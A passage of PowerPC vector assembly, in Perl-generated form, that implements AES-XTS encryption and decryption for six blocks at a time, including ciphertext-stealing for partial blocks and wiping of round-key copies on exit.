vxor $out1,$in1,$twk1
vxor $tweak,$tweak,$tmp
lvx_u $in2,$x20,$inp
andi. $taillen,$len,15
vxor $twk2,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in2,$in2,$in2,$leperm
vand $tmp,$tmp,$eighty7
vxor $out2,$in2,$twk2
vxor $tweak,$tweak,$tmp
lvx_u $in3,$x30,$inp
sub $len,$len,$taillen
vxor $twk3,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in3,$in3,$in3,$leperm
vand $tmp,$tmp,$eighty7
vxor $out3,$in3,$twk3
vxor $tweak,$tweak,$tmp
lvx_u $in4,$x40,$inp
subi $len,$len,0x60
vxor $twk4,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in4,$in4,$in4,$leperm
vand $tmp,$tmp,$eighty7
vxor $out4,$in4,$twk4
vxor $tweak,$tweak,$tmp
lvx_u $in5,$x50,$inp
addi $inp,$inp,0x60
vxor $twk5,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in5,$in5,$in5,$leperm
vand $tmp,$tmp,$eighty7
vxor $out5,$in5,$twk5
vxor $tweak,$tweak,$tmp
vxor v31,v31,$rndkey0
mtctr $rounds
b Loop_xts_enc6x
.align 5
Loop_xts_enc6x:
vcipher $out0,$out0,v24
vcipher $out1,$out1,v24
vcipher $out2,$out2,v24
vcipher $out3,$out3,v24
vcipher $out4,$out4,v24
vcipher $out5,$out5,v24
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vcipher $out0,$out0,v25
vcipher $out1,$out1,v25
vcipher $out2,$out2,v25
vcipher $out3,$out3,v25
vcipher $out4,$out4,v25
vcipher $out5,$out5,v25
lvx v25,$x10,$key_ # round[4]
bdnz Loop_xts_enc6x
subic $len,$len,96 # $len-=96
vxor $in0,$twk0,v31 # xor with last round key
vcipher $out0,$out0,v24
vcipher $out1,$out1,v24
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk0,$tweak,$rndkey0
vaddubm $tweak,$tweak,$tweak
vcipher $out2,$out2,v24
vcipher $out3,$out3,v24
vsldoi $tmp,$tmp,$tmp,15
vcipher $out4,$out4,v24
vcipher $out5,$out5,v24
subfe. r0,r0,r0 # borrow?-1:0
vand $tmp,$tmp,$eighty7
vcipher $out0,$out0,v25
vcipher $out1,$out1,v25
vxor $tweak,$tweak,$tmp
vcipher $out2,$out2,v25
vcipher $out3,$out3,v25
vxor $in1,$twk1,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk1,$tweak,$rndkey0
vcipher $out4,$out4,v25
vcipher $out5,$out5,v25
and r0,r0,$len
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vcipher $out0,$out0,v26
vcipher $out1,$out1,v26
vand $tmp,$tmp,$eighty7
vcipher $out2,$out2,v26
vcipher $out3,$out3,v26
vxor $tweak,$tweak,$tmp
vcipher $out4,$out4,v26
vcipher $out5,$out5,v26
add $inp,$inp,r0 # $inp is adjusted in such
# way that at exit from the
# loop inX-in5 are loaded
# with last "words"
vxor $in2,$twk2,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk2,$tweak,$rndkey0
vaddubm $tweak,$tweak,$tweak
vcipher $out0,$out0,v27
vcipher $out1,$out1,v27
vsldoi $tmp,$tmp,$tmp,15
vcipher $out2,$out2,v27
vcipher $out3,$out3,v27
vand $tmp,$tmp,$eighty7
vcipher $out4,$out4,v27
vcipher $out5,$out5,v27
addi $key_,$sp,$FRAME+15 # rewind $key_
vxor $tweak,$tweak,$tmp
vcipher $out0,$out0,v28
vcipher $out1,$out1,v28
vxor $in3,$twk3,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk3,$tweak,$rndkey0
vcipher $out2,$out2,v28
vcipher $out3,$out3,v28
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vcipher $out4,$out4,v28
vcipher $out5,$out5,v28
lvx v24,$x00,$key_ # re-pre-load round[1]
vand $tmp,$tmp,$eighty7
vcipher $out0,$out0,v29
vcipher $out1,$out1,v29
vxor $tweak,$tweak,$tmp
vcipher $out2,$out2,v29
vcipher $out3,$out3,v29
vxor $in4,$twk4,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk4,$tweak,$rndkey0
vcipher $out4,$out4,v29
vcipher $out5,$out5,v29
lvx v25,$x10,$key_ # re-pre-load round[2]
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vcipher $out0,$out0,v30
vcipher $out1,$out1,v30
vand $tmp,$tmp,$eighty7
vcipher $out2,$out2,v30
vcipher $out3,$out3,v30
vxor $tweak,$tweak,$tmp
vcipher $out4,$out4,v30
vcipher $out5,$out5,v30
vxor $in5,$twk5,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk5,$tweak,$rndkey0
vcipherlast $out0,$out0,$in0
lvx_u $in0,$x00,$inp # load next input block
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vcipherlast $out1,$out1,$in1
lvx_u $in1,$x10,$inp
vcipherlast $out2,$out2,$in2
le?vperm $in0,$in0,$in0,$leperm
lvx_u $in2,$x20,$inp
vand $tmp,$tmp,$eighty7
vcipherlast $out3,$out3,$in3
le?vperm $in1,$in1,$in1,$leperm
lvx_u $in3,$x30,$inp
vcipherlast $out4,$out4,$in4
le?vperm $in2,$in2,$in2,$leperm
lvx_u $in4,$x40,$inp
vxor $tweak,$tweak,$tmp
vcipherlast $tmp,$out5,$in5 # last block might be needed
# in stealing mode
le?vperm $in3,$in3,$in3,$leperm
lvx_u $in5,$x50,$inp
addi $inp,$inp,0x60
le?vperm $in4,$in4,$in4,$leperm
le?vperm $in5,$in5,$in5,$leperm
le?vperm $out0,$out0,$out0,$leperm
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
vxor $out0,$in0,$twk0
le?vperm $out2,$out2,$out2,$leperm
stvx_u $out1,$x10,$out
vxor $out1,$in1,$twk1
le?vperm $out3,$out3,$out3,$leperm
stvx_u $out2,$x20,$out
vxor $out2,$in2,$twk2
le?vperm $out4,$out4,$out4,$leperm
stvx_u $out3,$x30,$out
vxor $out3,$in3,$twk3
le?vperm $out5,$tmp,$tmp,$leperm
stvx_u $out4,$x40,$out
vxor $out4,$in4,$twk4
le?stvx_u $out5,$x50,$out
be?stvx_u $tmp, $x50,$out
vxor $out5,$in5,$twk5
addi $out,$out,0x60
mtctr $rounds
beq Loop_xts_enc6x # did $len-=96 borrow?
addic. $len,$len,0x60
beq Lxts_enc6x_zero
cmpwi $len,0x20
blt Lxts_enc6x_one
nop
beq Lxts_enc6x_two
cmpwi $len,0x40
blt Lxts_enc6x_three
nop
beq Lxts_enc6x_four
Lxts_enc6x_five:
vxor $out0,$in1,$twk0
vxor $out1,$in2,$twk1
vxor $out2,$in3,$twk2
vxor $out3,$in4,$twk3
vxor $out4,$in5,$twk4
bl _aesp8_xts_enc5x
le?vperm $out0,$out0,$out0,$leperm
vmr $twk0,$twk5 # unused tweak
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
le?vperm $out2,$out2,$out2,$leperm
stvx_u $out1,$x10,$out
le?vperm $out3,$out3,$out3,$leperm
stvx_u $out2,$x20,$out
vxor $tmp,$out4,$twk5 # last block prep for stealing
le?vperm $out4,$out4,$out4,$leperm
stvx_u $out3,$x30,$out
stvx_u $out4,$x40,$out
addi $out,$out,0x50
bne Lxts_enc6x_steal
b Lxts_enc6x_done
.align 4
Lxts_enc6x_four:
vxor $out0,$in2,$twk0
vxor $out1,$in3,$twk1
vxor $out2,$in4,$twk2
vxor $out3,$in5,$twk3
vxor $out4,$out4,$out4
bl _aesp8_xts_enc5x
le?vperm $out0,$out0,$out0,$leperm
vmr $twk0,$twk4 # unused tweak
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
le?vperm $out2,$out2,$out2,$leperm
stvx_u $out1,$x10,$out
vxor $tmp,$out3,$twk4 # last block prep for stealing
le?vperm $out3,$out3,$out3,$leperm
stvx_u $out2,$x20,$out
stvx_u $out3,$x30,$out
addi $out,$out,0x40
bne Lxts_enc6x_steal
b Lxts_enc6x_done
.align 4
Lxts_enc6x_three:
vxor $out0,$in3,$twk0
vxor $out1,$in4,$twk1
vxor $out2,$in5,$twk2
vxor $out3,$out3,$out3
vxor $out4,$out4,$out4
bl _aesp8_xts_enc5x
le?vperm $out0,$out0,$out0,$leperm
vmr $twk0,$twk3 # unused tweak
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
vxor $tmp,$out2,$twk3 # last block prep for stealing
le?vperm $out2,$out2,$out2,$leperm
stvx_u $out1,$x10,$out
stvx_u $out2,$x20,$out
addi $out,$out,0x30
bne Lxts_enc6x_steal
b Lxts_enc6x_done
.align 4
Lxts_enc6x_two:
vxor $out0,$in4,$twk0
vxor $out1,$in5,$twk1
vxor $out2,$out2,$out2
vxor $out3,$out3,$out3
vxor $out4,$out4,$out4
bl _aesp8_xts_enc5x
le?vperm $out0,$out0,$out0,$leperm
vmr $twk0,$twk2 # unused tweak
vxor $tmp,$out1,$twk2 # last block prep for stealing
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
stvx_u $out1,$x10,$out
addi $out,$out,0x20
bne Lxts_enc6x_steal
b Lxts_enc6x_done
.align 4
Lxts_enc6x_one:
vxor $out0,$in5,$twk0
nop
Loop_xts_enc1x:
vcipher $out0,$out0,v24
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vcipher $out0,$out0,v25
lvx v25,$x10,$key_ # round[4]
bdnz Loop_xts_enc1x
add $inp,$inp,$taillen
cmpwi $taillen,0
vcipher $out0,$out0,v24
subi $inp,$inp,16
vcipher $out0,$out0,v25
lvsr $inpperm,0,$taillen
vcipher $out0,$out0,v26
lvx_u $in0,0,$inp
vcipher $out0,$out0,v27
addi $key_,$sp,$FRAME+15 # rewind $key_
vcipher $out0,$out0,v28
lvx v24,$x00,$key_ # re-pre-load round[1]
vcipher $out0,$out0,v29
lvx v25,$x10,$key_ # re-pre-load round[2]
vxor $twk0,$twk0,v31
le?vperm $in0,$in0,$in0,$leperm
vcipher $out0,$out0,v30
vperm $in0,$in0,$in0,$inpperm
vcipherlast $out0,$out0,$twk0
vmr $twk0,$twk1 # unused tweak
vxor $tmp,$out0,$twk1 # last block prep for stealing
le?vperm $out0,$out0,$out0,$leperm
stvx_u $out0,$x00,$out # store output
addi $out,$out,0x10
bne Lxts_enc6x_steal
b Lxts_enc6x_done
.align 4
Lxts_enc6x_zero:
cmpwi $taillen,0
beq Lxts_enc6x_done
add $inp,$inp,$taillen
subi $inp,$inp,16
lvx_u $in0,0,$inp
lvsr $inpperm,0,$taillen # $in5 is no more
le?vperm $in0,$in0,$in0,$leperm
vperm $in0,$in0,$in0,$inpperm
vxor $tmp,$tmp,$twk0
Lxts_enc6x_steal:
vxor $in0,$in0,$twk0
vxor $out0,$out0,$out0
vspltisb $out1,-1
vperm $out0,$out0,$out1,$inpperm
vsel $out0,$in0,$tmp,$out0 # $tmp is last block, remember?
subi r30,$out,17
subi $out,$out,16
mtctr $taillen
Loop_xts_enc6x_steal:
lbzu r0,1(r30)
stb r0,16(r30)
bdnz Loop_xts_enc6x_steal
li $taillen,0
mtctr $rounds
b Loop_xts_enc1x # one more time...
.align 4
Lxts_enc6x_done:
${UCMP}i $ivp,0
beq Lxts_enc6x_ret
vxor $tweak,$twk0,$rndkey0
le?vperm $tweak,$tweak,$tweak,$leperm
stvx_u $tweak,0,$ivp
Lxts_enc6x_ret:
mtlr r11
li r10,`$FRAME+15`
li r11,`$FRAME+31`
stvx $seven,r10,$sp # wipe copies of round keys
addi r10,r10,32
stvx $seven,r11,$sp
addi r11,r11,32
stvx $seven,r10,$sp
addi r10,r10,32
stvx $seven,r11,$sp
addi r11,r11,32
stvx $seven,r10,$sp
addi r10,r10,32
stvx $seven,r11,$sp
addi r11,r11,32
stvx $seven,r10,$sp
addi r10,r10,32
stvx $seven,r11,$sp
addi r11,r11,32
mtspr 256,$vrsave
lvx v20,r10,$sp # ABI says so
addi r10,r10,32
lvx v21,r11,$sp
addi r11,r11,32
lvx v22,r10,$sp
addi r10,r10,32
lvx v23,r11,$sp
addi r11,r11,32
lvx v24,r10,$sp
addi r10,r10,32
lvx v25,r11,$sp
addi r11,r11,32
lvx v26,r10,$sp
addi r10,r10,32
lvx v27,r11,$sp
addi r11,r11,32
lvx v28,r10,$sp
addi r10,r10,32
lvx v29,r11,$sp
addi r11,r11,32
lvx v30,r10,$sp
lvx v31,r11,$sp
$POP r26,`$FRAME+21*16+0*$SIZE_T`($sp)
$POP r27,`$FRAME+21*16+1*$SIZE_T`($sp)
$POP r28,`$FRAME+21*16+2*$SIZE_T`($sp)
$POP r29,`$FRAME+21*16+3*$SIZE_T`($sp)
$POP r30,`$FRAME+21*16+4*$SIZE_T`($sp)
$POP r31,`$FRAME+21*16+5*$SIZE_T`($sp)
addi $sp,$sp,`$FRAME+21*16+6*$SIZE_T`
blr
.long 0
.byte 0,12,0x04,1,0x80,6,6,0
.long 0
.align 5
_aesp8_xts_enc5x:
vcipher $out0,$out0,v24
vcipher $out1,$out1,v24
vcipher $out2,$out2,v24
vcipher $out3,$out3,v24
vcipher $out4,$out4,v24
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vcipher $out0,$out0,v25
vcipher $out1,$out1,v25
vcipher $out2,$out2,v25
vcipher $out3,$out3,v25
vcipher $out4,$out4,v25
lvx v25,$x10,$key_ # round[4]
bdnz _aesp8_xts_enc5x
add $inp,$inp,$taillen
cmpwi $taillen,0
vcipher $out0,$out0,v24
vcipher $out1,$out1,v24
vcipher $out2,$out2,v24
vcipher $out3,$out3,v24
vcipher $out4,$out4,v24
subi $inp,$inp,16
vcipher $out0,$out0,v25
vcipher $out1,$out1,v25
vcipher $out2,$out2,v25
vcipher $out3,$out3,v25
vcipher $out4,$out4,v25
vxor $twk0,$twk0,v31
vcipher $out0,$out0,v26
lvsr $inpperm,r0,$taillen # $in5 is no more
vcipher $out1,$out1,v26
vcipher $out2,$out2,v26
vcipher $out3,$out3,v26
vcipher $out4,$out4,v26
vxor $in1,$twk1,v31
vcipher $out0,$out0,v27
lvx_u $in0,0,$inp
vcipher $out1,$out1,v27
vcipher $out2,$out2,v27
vcipher $out3,$out3,v27
vcipher $out4,$out4,v27
vxor $in2,$twk2,v31
addi $key_,$sp,$FRAME+15 # rewind $key_
vcipher $out0,$out0,v28
vcipher $out1,$out1,v28
vcipher $out2,$out2,v28
vcipher $out3,$out3,v28
vcipher $out4,$out4,v28
lvx v24,$x00,$key_ # re-pre-load round[1]
vxor $in3,$twk3,v31
vcipher $out0,$out0,v29
le?vperm $in0,$in0,$in0,$leperm
vcipher $out1,$out1,v29
vcipher $out2,$out2,v29
vcipher $out3,$out3,v29
vcipher $out4,$out4,v29
lvx v25,$x10,$key_ # re-pre-load round[2]
vxor $in4,$twk4,v31
vcipher $out0,$out0,v30
vperm $in0,$in0,$in0,$inpperm
vcipher $out1,$out1,v30
vcipher $out2,$out2,v30
vcipher $out3,$out3,v30
vcipher $out4,$out4,v30
vcipherlast $out0,$out0,$twk0
vcipherlast $out1,$out1,$in1
vcipherlast $out2,$out2,$in2
vcipherlast $out3,$out3,$in3
vcipherlast $out4,$out4,$in4
blr
.long 0
.byte 0,12,0x14,0,0,0,0,0
.align 5
_aesp8_xts_decrypt6x:
$STU $sp,-`($FRAME+21*16+6*$SIZE_T)`($sp)
mflr r11
li r7,`$FRAME+8*16+15`
li r3,`$FRAME+8*16+31`
$PUSH r11,`$FRAME+21*16+6*$SIZE_T+$LRSAVE`($sp)
stvx v20,r7,$sp # ABI says so
addi r7,r7,32
stvx v21,r3,$sp
addi r3,r3,32
stvx v22,r7,$sp
addi r7,r7,32
stvx v23,r3,$sp
addi r3,r3,32
stvx v24,r7,$sp
addi r7,r7,32
stvx v25,r3,$sp
addi r3,r3,32
stvx v26,r7,$sp
addi r7,r7,32
stvx v27,r3,$sp
addi r3,r3,32
stvx v28,r7,$sp
addi r7,r7,32
stvx v29,r3,$sp
addi r3,r3,32
stvx v30,r7,$sp
stvx v31,r3,$sp
li r0,-1
stw $vrsave,`$FRAME+21*16-4`($sp) # save vrsave
li $x10,0x10
$PUSH r26,`$FRAME+21*16+0*$SIZE_T`($sp)
li $x20,0x20
$PUSH r27,`$FRAME+21*16+1*$SIZE_T`($sp)
li $x30,0x30
$PUSH r28,`$FRAME+21*16+2*$SIZE_T`($sp)
li $x40,0x40
$PUSH r29,`$FRAME+21*16+3*$SIZE_T`($sp)
li $x50,0x50
$PUSH r30,`$FRAME+21*16+4*$SIZE_T`($sp)
li $x60,0x60
$PUSH r31,`$FRAME+21*16+5*$SIZE_T`($sp)
li $x70,0x70
mtspr 256,r0
subi $rounds,$rounds,3 # -4 in total
lvx $rndkey0,$x00,$key1 # load key schedule
lvx v30,$x10,$key1
addi $key1,$key1,0x20
lvx v31,$x00,$key1
?vperm $rndkey0,$rndkey0,v30,$keyperm
addi $key_,$sp,$FRAME+15
mtctr $rounds
Load_xts_dec_key:
?vperm v24,v30,v31,$keyperm
lvx v30,$x10,$key1
addi $key1,$key1,0x20
stvx v24,$x00,$key_ # off-load round[1]
?vperm v25,v31,v30,$keyperm
lvx v31,$x00,$key1
stvx v25,$x10,$key_ # off-load round[2]
addi $key_,$key_,0x20
bdnz Load_xts_dec_key
lvx v26,$x10,$key1
?vperm v24,v30,v31,$keyperm
lvx v27,$x20,$key1
stvx v24,$x00,$key_ # off-load round[3]
?vperm v25,v31,v26,$keyperm
lvx v28,$x30,$key1
stvx v25,$x10,$key_ # off-load round[4]
addi $key_,$sp,$FRAME+15 # rewind $key_
?vperm v26,v26,v27,$keyperm
lvx v29,$x40,$key1
?vperm v27,v27,v28,$keyperm
lvx v30,$x50,$key1
?vperm v28,v28,v29,$keyperm
lvx v31,$x60,$key1
?vperm v29,v29,v30,$keyperm
lvx $twk5,$x70,$key1 # borrow $twk5
?vperm v30,v30,v31,$keyperm
lvx v24,$x00,$key_ # pre-load round[1]
?vperm v31,v31,$twk5,$keyperm
lvx v25,$x10,$key_ # pre-load round[2]
vperm $in0,$inout,$inptail,$inpperm
subi $inp,$inp,31 # undo "caller"
vxor $twk0,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vand $tmp,$tmp,$eighty7
vxor $out0,$in0,$twk0
vxor $tweak,$tweak,$tmp
lvx_u $in1,$x10,$inp
vxor $twk1,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in1,$in1,$in1,$leperm
vand $tmp,$tmp,$eighty7
vxor $out1,$in1,$twk1
vxor $tweak,$tweak,$tmp
lvx_u $in2,$x20,$inp
andi. $taillen,$len,15
vxor $twk2,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in2,$in2,$in2,$leperm
vand $tmp,$tmp,$eighty7
vxor $out2,$in2,$twk2
vxor $tweak,$tweak,$tmp
lvx_u $in3,$x30,$inp
sub $len,$len,$taillen
vxor $twk3,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in3,$in3,$in3,$leperm
vand $tmp,$tmp,$eighty7
vxor $out3,$in3,$twk3
vxor $tweak,$tweak,$tmp
lvx_u $in4,$x40,$inp
subi $len,$len,0x60
vxor $twk4,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in4,$in4,$in4,$leperm
vand $tmp,$tmp,$eighty7
vxor $out4,$in4,$twk4
vxor $tweak,$tweak,$tmp
lvx_u $in5,$x50,$inp
addi $inp,$inp,0x60
vxor $twk5,$tweak,$rndkey0
vsrab $tmp,$tweak,$seven # next tweak value
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
le?vperm $in5,$in5,$in5,$leperm
vand $tmp,$tmp,$eighty7
vxor $out5,$in5,$twk5
vxor $tweak,$tweak,$tmp
vxor v31,v31,$rndkey0
mtctr $rounds
b Loop_xts_dec6x
.align 5
Loop_xts_dec6x:
vncipher $out0,$out0,v24
vncipher $out1,$out1,v24
vncipher $out2,$out2,v24
vncipher $out3,$out3,v24
vncipher $out4,$out4,v24
vncipher $out5,$out5,v24
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vncipher $out0,$out0,v25
vncipher $out1,$out1,v25
vncipher $out2,$out2,v25
vncipher $out3,$out3,v25
vncipher $out4,$out4,v25
vncipher $out5,$out5,v25
lvx v25,$x10,$key_ # round[4]
bdnz Loop_xts_dec6x
subic $len,$len,96 # $len-=96
vxor $in0,$twk0,v31 # xor with last round key
vncipher $out0,$out0,v24
vncipher $out1,$out1,v24
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk0,$tweak,$rndkey0
vaddubm $tweak,$tweak,$tweak
vncipher $out2,$out2,v24
vncipher $out3,$out3,v24
vsldoi $tmp,$tmp,$tmp,15
vncipher $out4,$out4,v24
vncipher $out5,$out5,v24
subfe. r0,r0,r0 # borrow?-1:0
vand $tmp,$tmp,$eighty7
vncipher $out0,$out0,v25
vncipher $out1,$out1,v25
vxor $tweak,$tweak,$tmp
vncipher $out2,$out2,v25
vncipher $out3,$out3,v25
vxor $in1,$twk1,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk1,$tweak,$rndkey0
vncipher $out4,$out4,v25
vncipher $out5,$out5,v25
and r0,r0,$len
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vncipher $out0,$out0,v26
vncipher $out1,$out1,v26
vand $tmp,$tmp,$eighty7
vncipher $out2,$out2,v26
vncipher $out3,$out3,v26
vxor $tweak,$tweak,$tmp
vncipher $out4,$out4,v26
vncipher $out5,$out5,v26
add $inp,$inp,r0 # $inp is adjusted in such
# way that at exit from the
# loop inX-in5 are loaded
# with last "words"
vxor $in2,$twk2,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk2,$tweak,$rndkey0
vaddubm $tweak,$tweak,$tweak
vncipher $out0,$out0,v27
vncipher $out1,$out1,v27
vsldoi $tmp,$tmp,$tmp,15
vncipher $out2,$out2,v27
vncipher $out3,$out3,v27
vand $tmp,$tmp,$eighty7
vncipher $out4,$out4,v27
vncipher $out5,$out5,v27
addi $key_,$sp,$FRAME+15 # rewind $key_
vxor $tweak,$tweak,$tmp
vncipher $out0,$out0,v28
vncipher $out1,$out1,v28
vxor $in3,$twk3,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk3,$tweak,$rndkey0
vncipher $out2,$out2,v28
vncipher $out3,$out3,v28
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vncipher $out4,$out4,v28
vncipher $out5,$out5,v28
lvx v24,$x00,$key_ # re-pre-load round[1]
vand $tmp,$tmp,$eighty7
vncipher $out0,$out0,v29
vncipher $out1,$out1,v29
vxor $tweak,$tweak,$tmp
vncipher $out2,$out2,v29
vncipher $out3,$out3,v29
vxor $in4,$twk4,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk4,$tweak,$rndkey0
vncipher $out4,$out4,v29
vncipher $out5,$out5,v29
lvx v25,$x10,$key_ # re-pre-load round[2]
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vncipher $out0,$out0,v30
vncipher $out1,$out1,v30
vand $tmp,$tmp,$eighty7
vncipher $out2,$out2,v30
vncipher $out3,$out3,v30
vxor $tweak,$tweak,$tmp
vncipher $out4,$out4,v30
vncipher $out5,$out5,v30
vxor $in5,$twk5,v31
vsrab $tmp,$tweak,$seven # next tweak value
vxor $twk5,$tweak,$rndkey0
vncipherlast $out0,$out0,$in0
lvx_u $in0,$x00,$inp # load next input block
vaddubm $tweak,$tweak,$tweak
vsldoi $tmp,$tmp,$tmp,15
vncipherlast $out1,$out1,$in1
lvx_u $in1,$x10,$inp
vncipherlast $out2,$out2,$in2
le?vperm $in0,$in0,$in0,$leperm
lvx_u $in2,$x20,$inp
vand $tmp,$tmp,$eighty7
vncipherlast $out3,$out3,$in3
le?vperm $in1,$in1,$in1,$leperm
lvx_u $in3,$x30,$inp
vncipherlast $out4,$out4,$in4
le?vperm $in2,$in2,$in2,$leperm
lvx_u $in4,$x40,$inp
vxor $tweak,$tweak,$tmp
vncipherlast $out5,$out5,$in5
le?vperm $in3,$in3,$in3,$leperm
lvx_u $in5,$x50,$inp
addi $inp,$inp,0x60
le?vperm $in4,$in4,$in4,$leperm
le?vperm $in5,$in5,$in5,$leperm
le?vperm $out0,$out0,$out0,$leperm
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
vxor $out0,$in0,$twk0
le?vperm $out2,$out2,$out2,$leperm
stvx_u $out1,$x10,$out
vxor $out1,$in1,$twk1
le?vperm $out3,$out3,$out3,$leperm
stvx_u $out2,$x20,$out
vxor $out2,$in2,$twk2
le?vperm $out4,$out4,$out4,$leperm
stvx_u $out3,$x30,$out
vxor $out3,$in3,$twk3
le?vperm $out5,$out5,$out5,$leperm
stvx_u $out4,$x40,$out
vxor $out4,$in4,$twk4
stvx_u $out5,$x50,$out
vxor $out5,$in5,$twk5
addi $out,$out,0x60
mtctr $rounds
beq Loop_xts_dec6x # did $len-=96 borrow?
addic. $len,$len,0x60
beq Lxts_dec6x_zero
cmpwi $len,0x20
blt Lxts_dec6x_one
nop
beq Lxts_dec6x_two
cmpwi $len,0x40
blt Lxts_dec6x_three
nop
beq Lxts_dec6x_four
Lxts_dec6x_five:
vxor $out0,$in1,$twk0
vxor $out1,$in2,$twk1
vxor $out2,$in3,$twk2
vxor $out3,$in4,$twk3
vxor $out4,$in5,$twk4
bl _aesp8_xts_dec5x
le?vperm $out0,$out0,$out0,$leperm
vmr $twk0,$twk5 # unused tweak
vxor $twk1,$tweak,$rndkey0
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
vxor $out0,$in0,$twk1
le?vperm $out2,$out2,$out2,$leperm
stvx_u $out1,$x10,$out
le?vperm $out3,$out3,$out3,$leperm
stvx_u $out2,$x20,$out
le?vperm $out4,$out4,$out4,$leperm
stvx_u $out3,$x30,$out
stvx_u $out4,$x40,$out
addi $out,$out,0x50
bne Lxts_dec6x_steal
b Lxts_dec6x_done
.align 4
Lxts_dec6x_four:
vxor $out0,$in2,$twk0
vxor $out1,$in3,$twk1
vxor $out2,$in4,$twk2
vxor $out3,$in5,$twk3
vxor $out4,$out4,$out4
bl _aesp8_xts_dec5x
le?vperm $out0,$out0,$out0,$leperm
vmr $twk0,$twk4 # unused tweak
vmr $twk1,$twk5
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
vxor $out0,$in0,$twk5
le?vperm $out2,$out2,$out2,$leperm
stvx_u $out1,$x10,$out
le?vperm $out3,$out3,$out3,$leperm
stvx_u $out2,$x20,$out
stvx_u $out3,$x30,$out
addi $out,$out,0x40
bne Lxts_dec6x_steal
b Lxts_dec6x_done
.align 4
Lxts_dec6x_three:
vxor $out0,$in3,$twk0
vxor $out1,$in4,$twk1
vxor $out2,$in5,$twk2
vxor $out3,$out3,$out3
vxor $out4,$out4,$out4
bl _aesp8_xts_dec5x
le?vperm $out0,$out0,$out0,$leperm
vmr $twk0,$twk3 # unused tweak
vmr $twk1,$twk4
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
vxor $out0,$in0,$twk4
le?vperm $out2,$out2,$out2,$leperm
stvx_u $out1,$x10,$out
stvx_u $out2,$x20,$out
addi $out,$out,0x30
bne Lxts_dec6x_steal
b Lxts_dec6x_done
.align 4
Lxts_dec6x_two:
vxor $out0,$in4,$twk0
vxor $out1,$in5,$twk1
vxor $out2,$out2,$out2
vxor $out3,$out3,$out3
vxor $out4,$out4,$out4
bl _aesp8_xts_dec5x
le?vperm $out0,$out0,$out0,$leperm
vmr $twk0,$twk2 # unused tweak
vmr $twk1,$twk3
le?vperm $out1,$out1,$out1,$leperm
stvx_u $out0,$x00,$out # store output
vxor $out0,$in0,$twk3
stvx_u $out1,$x10,$out
addi $out,$out,0x20
bne Lxts_dec6x_steal
b Lxts_dec6x_done
.align 4
Lxts_dec6x_one:
vxor $out0,$in5,$twk0
nop
Loop_xts_dec1x:
vncipher $out0,$out0,v24
lvx v24,$x20,$key_ # round[3]
addi $key_,$key_,0x20
vncipher $out0,$out0,v25
lvx v25,$x10,$key_ # round[4]
bdnz Loop_xts_dec1x
subi r0,$taillen,1
vncipher $out0,$out0,v24
andi. r0,r0,16
cmpwi $taillen,0
vncipher $out0,$out0,v25
sub $inp,$inp,r0
vncipher $out0,$out0,v26
lvx_u $in0,0,$inp
vncipher $out0,$out0,v27
